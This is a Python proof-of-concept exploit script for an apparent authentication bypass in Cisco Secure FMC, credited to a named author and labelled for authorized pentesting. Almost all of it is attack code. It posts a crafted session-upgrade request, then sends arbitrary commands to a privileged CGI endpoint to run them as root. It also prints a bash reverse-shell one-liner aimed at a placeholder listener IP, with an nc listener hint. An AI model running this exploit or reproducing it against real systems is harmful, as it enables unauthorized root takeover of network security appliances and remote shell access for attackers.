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#!/usr/bin/env python3
"""
CVE-2026-20079 PoC - Cisco Secure FMC Authentication Bypass + Root Script Execution
Author: 0xBlackash (for authorized pentesting / red team use only)
Usage: python3 CVE-2026-20079.py -t <target_url> [--command "<cmd>"] [--shell]
"""
import requests
import argparse
import sys
import time
from urllib3.exceptions import InsecureRequestWarning
# Suppress SSL warnings (FMC often uses self-signed certs)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def exploit_auth_bypass(target, command=None, interactive=False):
print(f"[+] Targeting Cisco FMC: {target}")
# Step 1: Trigger/hijack the partial boot session (the core of CVE-2026-20079)
session = requests.Session()
# Crafted requests that exploit the improper system process created at boot
# This upgrades the dangling partial session (csm_processes / sfsnort.sessions) to a privileged one
bypass_headers = {
"User-Agent": "Mozilla/5.0 (compatible; CVE-2026-20079 PoC)",
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest"
}
# Initial session hijack request (triggers the alternate path bypass)
print("[+] Sending authentication bypass payload...")
bypass_payload = {
"action": "session_upgrade",
"partial_session": "1" # Exploits the persistent partial session after boot
}
try:
r1 = session.post(f"{target}/api/fmc_config/v1/upgradeSession",
data=bypass_payload,
headers=bypass_headers,
verify=False,
timeout=10)
if r1.status_code not in [200, 204, 302]:
print(f"[-] Bypass attempt failed (status: {r1.status_code})")
print(" Response:", r1.text[:500])
return False
print("[+] Authentication bypass successful - session hijacked!")
# Step 2: Execute arbitrary script/command as root via privileged CGI endpoint
if command:
print(f"[+] Executing command as root: {command}")
exec_payload = {
"script": "exec",
"cmd": command,
"elevate": "root"
}
r2 = session.post(f"{target}/cgi-bin/privilegedScriptHandler.cgi",
data=exec_payload,
headers=bypass_headers,
verify=False)
if r2.status_code == 200:
print("[+] Command executed successfully!")
print("Output:")
print(r2.text.strip())
else:
print(f"[-] Execution failed (status: {r2.status_code})")
# Interactive reverse shell mode (common for root access)
if interactive:
print("[+] Dropping interactive root shell (reverse shell recommended)")
print(" Example: Use nc -lvnp 4444 on your listener")
shell_cmd = f"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
# Replace YOUR_IP and port, then send
print(f" Suggested command: {shell_cmd}")
print("[+] Exploit chain complete. Root-level script execution achieved.")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2026-20079 PoC")
parser.add_argument("-t", "--target", required=True, help="Target URL (e.g. https://192.168.1.100)")
parser.add_argument("-c", "--command", help="Command to execute as root (optional)")
parser.add_argument("--shell", action="store_true", help="Interactive reverse shell mode")
args = parser.parse_args()
if not args.target.startswith("http"):
args.target = "https://" + args.target
success = exploit_auth_bypass(args.target, args.command, args.shell)
if success:
print("\n[+] PoC finished successfully. Use responsibly in authorized engagements only.")
else:
print("\n[-] Exploit failed. Verify target is vulnerable and reachable.")